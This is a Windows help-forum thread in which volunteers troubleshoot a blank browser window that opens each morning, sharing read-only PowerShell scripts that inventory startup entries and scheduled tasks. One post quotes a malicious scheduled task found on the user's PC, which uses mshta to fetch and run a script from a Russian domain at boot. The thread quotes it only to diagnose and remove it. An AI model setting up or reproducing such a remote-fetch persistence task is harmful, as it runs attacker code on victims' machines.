Solved Blank Web site loads every morning

antspants · Jul 13, 2025

Spunk said:
I just restored the image, but it included this popup.
It is more annoying then it is causing any harm. If no one has any ideas, I can live with it.

Persist. God only knows what it’s doing.

glasskuter · Jul 13, 2025

Spunk said:
once I unzipped them to save the pictures, this started,

WHY. As soon as you unzipped those photos, there is no telling why kind of malware or code was inserted into your computer, just waiting on the user to perform the action that triggers it. I would be worried about that more than a blank browser window.

Spunk · Jul 13, 2025

@garlin Attached is EV Windows logs/Security
No event 4688

garlin · Jul 13, 2025

If you restored from backup, you have to repeat the steps to enable Auditing.

Process creation logging is NOT a default setting, it makes your Event Log grow much faster if left on for an extended period of time (like weeks & months).

antspants · Jul 13, 2025

Spunk said:
I just restored the image, but it included this popup.
It is more annoying then it is causing any harm. If no one has any ideas, I can live with it.

antspants said:

Run this same way.

Powershell:

$Output = @()

# User Run Entries
$Output += "`r`n=== HKCU Run Entries ==="
$Output += (Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object PSChildName, Value | Out-String)

# Machine Run Entries
$Output += "`r`n=== HKLM Run Entries ==="
$Output += (Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object PSChildName, Value | Out-String)

# Scheduled Tasks - All Tasks with Key Info
$Output += "`r`n=== ALL Scheduled Tasks ==="

$AllTasks = Get-ScheduledTask | ForEach-Object {
    $Task = $_
    $Info = New-Object PSObject -Property @{
        TaskName      = $Task.TaskName
        Author        = $Task.Principal.UserId
        State         = $Task.State
        LastRunTime   = ($Task | Get-ScheduledTaskInfo).LastRunTime
        Actions       = ($Task.Actions | ForEach-Object { $_.Execute + " " + $_.Arguments }) -join "; "
        Triggers      = ($Task.Triggers | ForEach-Object { $_.StartBoundary }) -join "; "
    }
    $Info
}

$Output += ($AllTasks | Sort-Object TaskName | Format-Table -AutoSize | Out-String)

# Save to the current user's Desktop
$FilePath = [System.IO.Path]::Combine($env:USERPROFILE, "Desktop", "Startup_Check_Full.txt")
$Output | Out-File -FilePath $FilePath -Encoding UTF8

Write-Host "`nFull startup and task info saved to: $FilePath" -ForegroundColor Green

Sorry about the txt file.

At this point I don’t know if it’s worth it, but the txt file should now get saved to your desktop. Mine did but as I don’t have brave…

There is a script if you wanted to delve deeper. A lot of reading in the Desktop\Startup_Check_Full.txt though. But the idea is to find anything that doesn't look right. My Startup_Check_Full.txt had 630 lines to read.

It will explore:

HKCU & HKLM Run entries
All Scheduled Tasks
Startup Services – services set to auto-start
Running Startup Processes – things that are currently running that might be suspicious
Browser Auto-Start URLs (Brave, Chrome, Edge)

Powershell:

$Output = @()

# --------------------------
# 1. User Run Entries
# --------------------------
$Output += "`r`n=== HKCU Run Entries ==="
$Output += (Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object PSChildName, Value | Out-String)

# --------------------------
# 2. Machine Run Entries
# --------------------------
$Output += "`r`n=== HKLM Run Entries ==="
$Output += (Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object PSChildName, Value | Out-String)

# --------------------------
# 3. All Scheduled Tasks
# --------------------------
$Output += "`r`n=== ALL Scheduled Tasks ==="
$AllTasks = Get-ScheduledTask | ForEach-Object {
    $Task = $_
    $Info = New-Object PSObject -Property @{
        TaskName      = $Task.TaskName
        Author        = $Task.Principal.UserId
        State         = $Task.State
        LastRunTime   = ($Task | Get-ScheduledTaskInfo).LastRunTime
        Actions       = ($Task.Actions | ForEach-Object { $_.Execute + " " + $_.Arguments }) -join "; "
        Triggers      = ($Task.Triggers | ForEach-Object { $_.StartBoundary }) -join "; "
    }
    $Info
}
$Output += ($AllTasks | Sort-Object TaskName | Format-Table -AutoSize | Out-String)

# --------------------------
# 4. Startup Services
# --------------------------
$Output += "`r`n=== Startup Services (Auto-Start) ==="
$StartupServices = Get-Service | Where-Object {$_.StartType -eq "Automatic"} | Select-Object DisplayName, Status, StartType
$Output += ($StartupServices | Sort-Object DisplayName | Format-Table -AutoSize | Out-String)

# --------------------------
# 5. Currently Running Startup Processes
# --------------------------
$Output += "`r`n=== Currently Running Suspicious Processes (Filtered) ==="
$Running = Get-Process | Where-Object {
    $_.Path -and (
        $_.Path -like "*AppData*" -or
        $_.Path -like "*Temp*" -or
        $_.Path -like "*brave*" -or
        $_.Path -like "*.ru*" -or
        $_.Path -like "*update*" -or
        $_.Path -like "*.exe"
    )
} | Select-Object Name, Id, Path
$Output += ($Running | Sort-Object Name | Format-Table -AutoSize | Out-String)

# --------------------------
# 6. Browser Startup URLs (Brave, Chrome, Edge)
# --------------------------
$Output += "`r`n=== Brave/Chrome/Edge Startup URLs ==="

$BrowserStartupPaths = @(
    "$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data\Default\Preferences",
    "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Preferences",
    "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Preferences"
)

foreach ($Path in $BrowserStartupPaths) {
    if (Test-Path $Path) {
        $Output += "`r`n--- Startup URLs in: $Path ---"
        $RawJson = Get-Content $Path -Raw
        $StartupUrls = ($RawJson | ConvertFrom-Json -ErrorAction SilentlyContinue).session.startup_urls
        if ($StartupUrls) {
            $Output += ($StartupUrls -join "`r`n")
        } else {
            $Output += "(No startup URLs found)"
        }
    }
}

# --------------------------
# Save to file
# --------------------------
$FilePath = [System.IO.Path]::Combine($env:USERPROFILE, "Desktop", "Startup_Check_Full.txt")
$Output | Out-File -FilePath $FilePath -Encoding UTF8

Write-Host "`nFull startup and task info saved to: $FilePath" -ForegroundColor Green

Spunk · Jul 13, 2025

My User files, including Desktop have been Moved and redirected to F:\User folder. There is no Desktop folder under
C:\Users\UserName. there is nothing on Desktop or in Desktop folder
this is the output of your script

PS C:\WINDOWS\system32> $FilePath = [System.IO.Path]::Combine($env:USERPROFILE, "Desktop", "Startup_Check_Full.txt")
Out-File : Could not find a part of the path 'C:\Users\Spike Baron\Desktop\Startup_Check_Full.txt'.
At line:1 char:11
+ $Output | Out-File -FilePath $FilePath -Encoding UTF8
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OpenError: (:) [Out-File], DirectoryNotFoundException
+ FullyQualifiedErrorId : FileOpenFailure,Microsoft.PowerShell.Commands.OutFileCommand

[COLOR=rgb(184, 49, 47)]    + FullyQualifiedErrorId : FileOpenFailure,Microsoft.PowerShell.Commands.OutFileCommand[/COLOR]

PS C:\WINDOWS\system32>
PS C:\WINDOWS\system32> Write-Host "`nFull startup and task info saved to: $FilePath" -ForegroundColor Green

Full startup and task info saved to: C:\Users\Spike Baron\Desktop\Startup_Check_Full.txt

antspants · Jul 13, 2025

Spunk said:
My User files, including Desktop have been Moved and redirected to F:\User folder

You moved them yourself?

My Desktop folder is also on the F: Drive.

Which script?

antspants · Jul 13, 2025

Is yours F:\Users\YourUsername\user folders or just F:\Users\user folders?

Spunk · Jul 13, 2025

F:\User no S or user name.
I moved them a long time ago using Location tab

antspants · Jul 13, 2025

2nd script?

At the bottom (where it says Save to Desktop (Custom User Folder) change “Username” to whatever it is for you: F:\User\YourUsername\Desktop IF there is a username

If it’s just F:\User\Desktop then leave the following script as is (text file should appear on your desktop.)

Powershell:

$Output = @()

# --------------------------
# 1. User Run Entries
# --------------------------
$Output += "`r`n=== HKCU Run Entries ==="
$Output += (Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object PSChildName, Value | Out-String)

# --------------------------
# 2. Machine Run Entries
# --------------------------
$Output += "`r`n=== HKLM Run Entries ==="
$Output += (Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object PSChildName, Value | Out-String)

# --------------------------
# 3. All Scheduled Tasks
# --------------------------
$Output += "`r`n=== ALL Scheduled Tasks ==="
$AllTasks = Get-ScheduledTask | ForEach-Object {
    $Task = $_
    $Info = New-Object PSObject -Property @{
        TaskName      = $Task.TaskName
        Author        = $Task.Principal.UserId
        State         = $Task.State
        LastRunTime   = ($Task | Get-ScheduledTaskInfo).LastRunTime
        Actions       = ($Task.Actions | ForEach-Object { $_.Execute + " " + $_.Arguments }) -join "; "
        Triggers      = ($Task.Triggers | ForEach-Object { $_.StartBoundary }) -join "; "
    }
    $Info
}
$Output += ($AllTasks | Sort-Object TaskName | Format-Table -AutoSize | Out-String)

# --------------------------
# 4. Startup Services
# --------------------------
$Output += "`r`n=== Startup Services (Auto-Start) ==="
$StartupServices = Get-Service | Where-Object {$_.StartType -eq "Automatic"} | Select-Object DisplayName, Status, StartType
$Output += ($StartupServices | Sort-Object DisplayName | Format-Table -AutoSize | Out-String)

# --------------------------
# 5. Currently Running Suspicious Processes
# --------------------------
$Output += "`r`n=== Currently Running Suspicious Processes (Filtered) ==="
$Running = Get-Process | Where-Object {
    $_.Path -and (
        $_.Path -like "*AppData*" -or
        $_.Path -like "*Temp*" -or
        $_.Path -like "*brave*" -or
        $_.Path -like "*.ru*" -or
        $_.Path -like "*update*" -or
        $_.Path -like "*.exe"
    )
} | Select-Object Name, Id, Path
$Output += ($Running | Sort-Object Name | Format-Table -AutoSize | Out-String)

# --------------------------
# 6. Browser Startup URLs
# --------------------------
$Output += "`r`n=== Brave/Chrome/Edge Startup URLs ==="

$BrowserStartupPaths = @(
    "$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data\Default\Preferences",
    "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Preferences",
    "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Preferences"
)

foreach ($Path in $BrowserStartupPaths) {
    if (Test-Path $Path) {
        $Output += "`r`n--- Startup URLs in: $Path ---"
        $RawJson = Get-Content $Path -Raw
        $StartupUrls = ($RawJson | ConvertFrom-Json -ErrorAction SilentlyContinue).session.startup_urls
        if ($StartupUrls) {
            $Output += ($StartupUrls -join "`r`n")
        } else {
            $Output += "(No startup URLs found)"
        }
    }
}

# --------------------------
# Save to custom Desktop path (F:\User\Desktop)
# --------------------------
$CustomDesktop = "F:\User\Desktop"
$FilePath = Join-Path $CustomDesktop "Startup_Check_Full.txt"
$Output | Out-File -FilePath $FilePath -Encoding UTF8

Write-Host "`nFull startup and task info saved to: $FilePath" -ForegroundColor Green

Spunk · Jul 13, 2025

that got it.
No Startup URL's found in all browsers.

Oh well, pick this up again tomorrow.

antspants · Jul 13, 2025

Scheduled Task

Code:

Author: Spike xxx
Action: mshta https ://that link.ru/update.app

Could run a remote-hosted script from a Russian domain directly on boot or login.

Dunno man…

Entry	Status
BraveUpdate.exe /ua	Safe (official auto-updater)
`mshta https :// that link.ru/...`	Malicious — delete scheduled task
F:\User\...REG ADD HKLM...bat	Suspicious — check contents OR is that Garlins BAT?
KMS.cmd	Potentially unsafe — delete unless you use KMS legitimately

cineman195 · Jul 13, 2025

Can he not run 'Autoruns', find out the program and disable it ?

antspants · Jul 13, 2025

cineman195 said:
Can he not run 'Autoruns', find out the program and disable it ?

What program?
That link I see as a remote issue, calling on an update of some kind? link.ru/update.app
I don’t know if there is an app/program on the PC, is there?
But there appears to be a scheduled task.

I don’t know. I have nothing else.

garlin · Jul 13, 2025

antspants said:

Code:

# --------------------------
# 3. All Scheduled Tasks
# --------------------------
$Output += "`r`n=== ALL Scheduled Tasks ==="
$AllTasks = Get-ScheduledTask | ForEach-Object {
    $Task = $_
    $Info = New-Object PSObject -Property @{
        TaskName      = $Task.TaskName
        Author        = $Task.Principal.UserId
        State         = $Task.State
        LastRunTime   = ($Task | Get-ScheduledTaskInfo).LastRunTime
        Actions       = ($Task.Actions | ForEach-Object { $_.Execute + " " + $_.Arguments }) -join "; "
        Triggers      = ($Task.Triggers | ForEach-Object { $_.StartBoundary }) -join "; "
    }
    $Info
}
$Output += ($AllTasks | Sort-Object TaskName | Format-Table -AutoSize | Out-String)

The problem with AI code is it can be soooooo close, but maddeningly bad.

Replace

Code:

        TaskName      = $Task.TaskName

Code:

        URI      = $Task.URI

In order to properly delete a task, you need to know the full path.

pseymour · Jul 13, 2025

@antspants Here's how you get the path of the desktop folder, no matter where it may roam.

[Environment]::GetFolderPath([Environment+SpecialFolder]::DesktopDirectory)

antspants · Jul 13, 2025

Did I inadvertently add a delet function? I was going to but didn’t to my knowledge.
That txt file shows a scheduled task for the update.app. Is the worst I could see.

But OK.

Powershell:

$Output = @()

# --------------------------
# 1. User Run Entries
# --------------------------
$Output += "`r`n=== HKCU Run Entries ==="
$Output += (Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object PSChildName, Value | Out-String)

# --------------------------
# 2. Machine Run Entries
# --------------------------
$Output += "`r`n=== HKLM Run Entries ==="
$Output += (Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object PSChildName, Value | Out-String)

# --------------------------
# 3. All Scheduled Tasks
# --------------------------
$Output += "`r`n=== ALL Scheduled Tasks ==="
$AllTasks = Get-ScheduledTask | ForEach-Object {
    $Task = $_
    $Info = New-Object PSObject -Property @{
        URI        = $Task.URI
        Author        = $Task.Principal.UserId
        State         = $Task.State
        LastRunTime   = ($Task | Get-ScheduledTaskInfo).LastRunTime
        Actions       = ($Task.Actions | ForEach-Object { $_.Execute + " " + $_.Arguments }) -join "; "
        Triggers      = ($Task.Triggers | ForEach-Object { $_.StartBoundary }) -join "; "
    }
    $Info
}
$Output += ($AllTasks | Sort-Object TaskName | Format-Table -AutoSize | Out-String)

# --------------------------
# 4. Startup Services
# --------------------------
$Output += "`r`n=== Startup Services (Auto-Start) ==="
$StartupServices = Get-Service | Where-Object {$_.StartType -eq "Automatic"} | Select-Object DisplayName, Status, StartType
$Output += ($StartupServices | Sort-Object DisplayName | Format-Table -AutoSize | Out-String)

# --------------------------
# 5. Currently Running Suspicious Processes
# --------------------------
$Output += "`r`n=== Currently Running Suspicious Processes (Filtered) ==="
$Running = Get-Process | Where-Object {
    $_.Path -and (
        $_.Path -like "*AppData*" -or
        $_.Path -like "*Temp*" -or
        $_.Path -like "*brave*" -or
        $_.Path -like "*.ru*" -or
        $_.Path -like "*update*" -or
        $_.Path -like "*.exe"
    )
} | Select-Object Name, Id, Path
$Output += ($Running | Sort-Object Name | Format-Table -AutoSize | Out-String)

# --------------------------
# 6. Browser Startup URLs
# --------------------------
$Output += "`r`n=== Brave/Chrome/Edge Startup URLs ==="

$BrowserStartupPaths = @(
    "$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data\Default\Preferences",
    "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Preferences",
    "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Preferences"
)

foreach ($Path in $BrowserStartupPaths) {
    if (Test-Path $Path) {
        $Output += "`r`n--- Startup URLs in: $Path ---"
        $RawJson = Get-Content $Path -Raw
        $StartupUrls = ($RawJson | ConvertFrom-Json -ErrorAction SilentlyContinue).session.startup_urls
        if ($StartupUrls) {
            $Output += ($StartupUrls -join "`r`n")
        } else {
            $Output += "(No startup URLs found)"
        }
    }
}

# --------------------------
# Save to custom Desktop path (F:\User\Desktop)
# --------------------------
$CustomDesktop = "F:\User\Desktop"
$FilePath = Join-Path $CustomDesktop "Startup_Check_Full.txt"
$Output | Out-File -FilePath $FilePath -Encoding UTF8

Write-Host "`nFull startup and task info saved to: $FilePath" -ForegroundColor Green

antspants · Jul 13, 2025

pseymour said:
@antspants Here's how you get the path of the desktop folder, no matter it may roam.

[Environment]::GetFolderPath([Environment+SpecialFolder]::DesktopDirectory)

When I seen this comment:

Spunk said:
My User files, including Desktop have been Moved and redirected to F:\User folder. There is no Desktop folder under
C:\Users\UserName. there is nothing on Desktop or in Desktop folder
this is the output of your script

PS C:\WINDOWS\system32> $FilePath = [System.IO.Path]::Combine($env:USERPROFILE, "Desktop", "Startup_Check_Full.txt")
Out-File : Could not find a part of the path 'C:\Users\Spike xxx\Desktop\Startup_Check_Full.txt'.
At line:1 char:11
+ $Output | Out-File -FilePath $FilePath -Encoding UTF8
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OpenError: (:) [Out-File], DirectoryNotFoundException
+ FullyQualifiedErrorId : FileOpenFailure,Microsoft.PowerShell.Commands.OutFileCommand
[COLOR=rgb(184, 49, 47)] + FullyQualifiedErrorId : FileOpenFailure,Microsoft.PowerShell.Commands.OutFileCommand[/COLOR]

PS C:\WINDOWS\system32>
PS C:\WINDOWS\system32> Write-Host "`nFull startup and task info saved to: $FilePath" -ForegroundColor Green

Full startup and task info saved to: C:\Users\Spike xxx\Desktop\Startup_Check_Full.txt

I crapped my pants thinking I did a bad bad thing.
I just assumed that everyone (but me) has default user folders

antspants · Jul 13, 2025

But thank you, both.

A caveat to change the path at the bottom… but your search and accomplish is better.

antspants · Jul 13, 2025

I did test these (this time)

Solved Blank Web site loads every morning

Like a rolling drone.

My Computers My Computers

At a glance

At a glance

aka Mama Glass

My Computers My Computers

At a glance

At a glance

Well-known member

Attachments

My Computer My Computer

At a glance

Well-known member

My Computer My Computer

At a glance

Like a rolling drone.

My Computers My Computers

At a glance

At a glance

Well-known member

My Computer My Computer

At a glance

Like a rolling drone.

My Computers My Computers

At a glance

At a glance

Like a rolling drone.

My Computers My Computers

At a glance

At a glance

Well-known member

My Computer My Computer

At a glance

Like a rolling drone.

My Computers My Computers

At a glance

At a glance

Well-known member

Attachments

My Computer My Computer

At a glance

Like a rolling drone.

My Computers My Computers

At a glance

At a glance

Well-known member

My Computer My Computer

At a glance

Like a rolling drone.

My Computers My Computers

At a glance

At a glance

Well-known member

My Computer My Computer

At a glance

putting the mental back in experimental

My Computer My Computer

At a glance

Like a rolling drone.

My Computers My Computers

At a glance

At a glance

Like a rolling drone.

My Computers My Computers

At a glance

At a glance

Like a rolling drone.

My Computers My Computers

At a glance

At a glance

Like a rolling drone.

My Computers My Computers

At a glance

At a glance

My Computers

My Computers

My Computer

My Computer

My Computers

My Computer

My Computers

My Computers

My Computer

My Computers

My Computer

My Computers

My Computer

My Computers

My Computer

My Computer

My Computers

My Computers

My Computers

My Computers